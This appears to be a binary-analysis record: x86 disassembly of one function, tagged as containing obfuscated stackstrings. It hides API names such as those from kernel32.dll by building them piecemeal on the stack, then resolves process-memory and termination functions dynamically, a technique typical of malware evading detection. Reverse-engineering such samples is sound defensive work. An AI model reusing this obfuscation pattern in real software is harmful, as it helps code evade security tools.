Function at 0x401910
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4
mov eax, dword [0x418004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x3e
lea eax, [ebp - 0xc2]
push 0
push eax
call fcn.00405aa0
add esp, 0xc
lea ecx, [ebp - 0xc4]
push ecx
mov dword [ebp - 0xc4], 0x65006b
mov dword [ebp - 0xc0], 0x6e0072
mov dword [ebp - 0xbc], 0x6c0065
mov dword [ebp - 0xb8], 0x320033
mov dword [ebp - 0xb4], 0x64002e
mov dword [ebp - 0xb0], 0x6c006c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dx, word [0x415fe0]
xor ecx, ecx
mov dword [ebp - 0x83], ecx
mov dword [ebp - 0x7f], ecx
mov dword [ebp - 0x7b], ecx
mov dword [ebp - 0x77], ecx
mov dword [ebp - 0x73], ecx
mov dword [ebp - 0x6f], ecx
mov dword [ebp - 0x6b], ecx
mov word [ebp - 0x67], cx
mov byte [ebp - 0x65], cl
mov cl, byte [0x415fe2]
mov byte [ebp - 0x82], cl
lea ecx, [ebp - 0x84]
mov dword [0x419798], eax
mov word [ebp - 0x84], dx
dec ecx
mov dl, byte [ecx + 1]
inc ecx
test dl, dl
jne 0x4019c6
mov dx, word [0x415fe4]
mov word [ecx], dx
mov dl, byte [0x415fe6]
mov byte [ecx + 2], dl
lea ecx, [ebp - 0x84]
dec ecx
mov dl, byte [ecx + 1]
inc ecx
test dl, dl
jne 0x4019e8
mov dx, word [0x415fe8]
mov word [ecx], dx
mov dl, byte [0x415fea]
mov byte [ecx + 2], dl
lea ecx, [ebp - 0x84]
dec ecx
lea ebx, [ebx]
mov dl, byte [ecx + 1]
inc ecx
test dl, dl
jne 0x401a10
mov dx, word [0x415fec]
mov word [ecx], dx
mov dl, byte [0x415fee]
mov byte [ecx + 2], dl
lea ecx, [ebp - 0x84]
dec ecx
mov dl, byte [ecx + 1]
inc ecx
test dl, dl
jne 0x401a32
mov dx, word [0x415ff0]
mov word [ecx], dx
mov dl, byte [0x415ff2]
mov byte [ecx + 2], dl
lea ecx, [ebp - 0x84]
dec ecx
mov dl, byte [ecx + 1]
inc ecx
test dl, dl
jne 0x401a54
mov dx, word [0x415ff4]
mov word [ecx], dx
mov dl, byte [0x415ff6]
mov byte [ecx + 2], dl
lea ecx, [ebp - 0x84]
dec ecx
mov dl, byte [ecx + 1]
inc ecx
test dl, dl
jne 0x401a76
movzx edx, word [0x415ff8]
mov word [ecx], dx
mov dl, byte [0x415ffa]
mov byte [ecx + 2], dl
lea ecx, [ebp - 0x84]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [0x4197b0], ecx
xor ecx, ecx
mov dword [ebp - 0x43], ecx
mov dword [ebp - 0x3f], ecx
mov dword [ebp - 0x3b], ecx
mov dword [ebp - 0x37], ecx
mov dword [ebp - 0x33], ecx
mov dword [ebp - 0x2f], ecx
mov dword [ebp - 0x2b], ecx
mov word [ebp - 0x27], cx
mov byte [ebp - 0x25], cl
mov cl, byte [0x415ffe]
mov dword [0x4197a4], edx
movzx edx, word [0x415ffc]
mov byte [ebp - 0x42], cl
lea ecx, [ebp - 0x44]
mov dword [0x41979c], eax
mov word [ebp - 0x44], dx
dec ecx
mov dl, byte [ecx + 1]
inc ecx
test dl, dl
jne 0x401af2
mov dx, word [0x416000]
mov word [ecx], dx
mov dl, byte [0x416002]
mov byte [ecx + 2], dl
lea ecx, [ebp - 0x44]
dec ecx
mov dl, byte [ecx + 1]
inc ecx
test dl, dl
jne 0x401b11
mov dx, word [0x416004]
mov word [ecx], dx
mov dl, byte [0x416006]
mov byte [ecx + 2], dl
lea ecx, [ebp - 0x44]
dec ecx
mov dl, byte [ecx + 1]
inc ecx
test dl, dl
jne 0x401b30
mov dx, word [0x416008]
mov word [ecx], dx
mov dl, byte [0x41600a]
mov byte [ecx + 2], dl
lea ecx, [ebp - 0x44]
dec ecx
nop
mov dl, byte [ecx + 1]
inc ecx
test dl, dl
jne 0x401b50
mov dx, word [0x41600c]
mov word [ecx], dx
mov dl, byte [0x41600e]
mov byte [ecx + 2], dl
lea ecx, [ebp - 0x44]
dec ecx
nop
mov dl, byte [ecx + 1]
inc ecx
test dl, dl
jne 0x401b70
mov dx, word [0x416010]
mov word [ecx], dx
mov dl, byte [0x416012]
mov byte [ecx + 2], dl
lea ecx, [ebp - 0x44]
dec ecx
nop
mov dl, byte [ecx + 1]
inc ecx
test dl, dl
jne 0x401b90
mov dx, word [0x416014]
mov word [ecx], dx
mov dl, byte [0x416016]
mov byte [ecx + 2], dl
mov edx, dword [0x419798]
lea ecx, [ebp - 0x44]
push ecx
push edx
call eax
mov cl, byte [0x41601a]
mov dword [0x4197b4], eax
xor eax, eax
mov dword [ebp - 0x63], eax
mov dword [ebp - 0x5f], eax
mov dword [ebp - 0x5b], eax
mov dword [ebp - 0x57], eax
mov dword [ebp - 0x53], eax
mov dword [ebp - 0x4f], eax
mov dword [ebp - 0x4b], eax
mov word [ebp - 0x47], ax
mov byte [ebp - 0x45], al
mov ax, word [0x416018]
mov word [ebp - 0x64], ax
lea eax, [ebp - 0x64]
mov byte [ebp - 0x62], cl
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401bf2
mov dx, word [0x41601c]
mov cl, byte [0x41601e]
mov word [eax], dx
mov byte [eax + 2], cl
lea eax, [ebp - 0x64]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401c11
mov dx, word [0x416020]
mov cl, byte [0x416022]
mov word [eax], dx
mov byte [eax + 2], cl
lea eax, [ebp - 0x64]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401c30
mov dx, word [0x416024]
mov cl, byte [0x416026]
mov word [eax], dx
mov byte [eax + 2], cl
lea eax, [ebp - 0x64]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401c50
mov dx, word [0x416028]
mov cl, byte [0x41602a]
mov word [eax], dx
mov byte [eax + 2], cl
lea eax, [ebp - 0x64]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401c70
mov dx, word [0x41600c]
mov cl, byte [0x41600e]
mov word [eax], dx
mov byte [eax + 2], cl
lea eax, [ebp - 0x64]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401c90
movzx edx, word [0x41602c]
mov cl, byte [0x41602e]
mov word [eax], dx
lea edx, [ebp - 0x64]
mov byte [eax + 2], cl
mov eax, dword [0x419798]
push edx
push eax
call dword [0x41979c]
movzx edx, word [0x416030]
mov ecx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [0x4197a8], eax
xor eax, eax
mov dword [ebp - 0x23], eax
mov dword [ebp - 0x1f], eax
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
mov al, byte [0x416032]
mov byte [ebp - 0x22], al
lea eax, [ebp - 0x24]
mov dword [0x4197c8], ecx
mov word [ebp - 0x24], dx
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401d01
mov cx, word [0x416034]
mov dl, byte [0x416036]
mov word [eax], cx
mov byte [eax + 2], dl
lea eax, [ebp - 0x24]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401d20
mov cx, word [0x416038]
mov dl, byte [0x41603a]
mov word [eax], cx
mov byte [eax + 2], dl
lea eax, [ebp - 0x24]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401d40
mov cx, word [0x415fe8]
mov dl, byte [0x415fea]
mov word [eax], cx
mov byte [eax + 2], dl
lea eax, [ebp - 0x24]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401d60
mov cx, word [0x41603c]
mov dl, byte [0x41603e]
mov word [eax], cx
mov byte [eax + 2], dl
lea eax, [ebp - 0x24]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401d80
mov cx, word [0x415ff8]
mov dl, byte [0x415ffa]
mov word [eax], cx
mov byte [eax + 2], dl
lea eax, [ebp - 0x24]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401da0
mov cx, word [0x416040]
mov dl, byte [0x416042]
mov word [eax], cx
mov byte [eax + 2], dl
lea eax, [ebp - 0x24]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401dc0
mov cx, word [0x416044]
mov dl, byte [0x416046]
mov word [eax], cx
mov byte [eax + 2], dl
lea eax, [ebp - 0x24]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401de0
mov cx, word [0x416048]
mov dl, byte [0x41604a]
mov word [eax], cx
mov ecx, dword [0x419798]
mov byte [eax + 2], dl
lea eax, [ebp - 0x24]
push eax
push ecx
call dword [0x41979c]
mov ecx, dword [ebp - 4]
mov edx, dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ebp
mov dword [0x4197c0], eax
mov dword [0x41978c], edx
call fcn.004027d8
mov esp, ebp
pop ebp
ret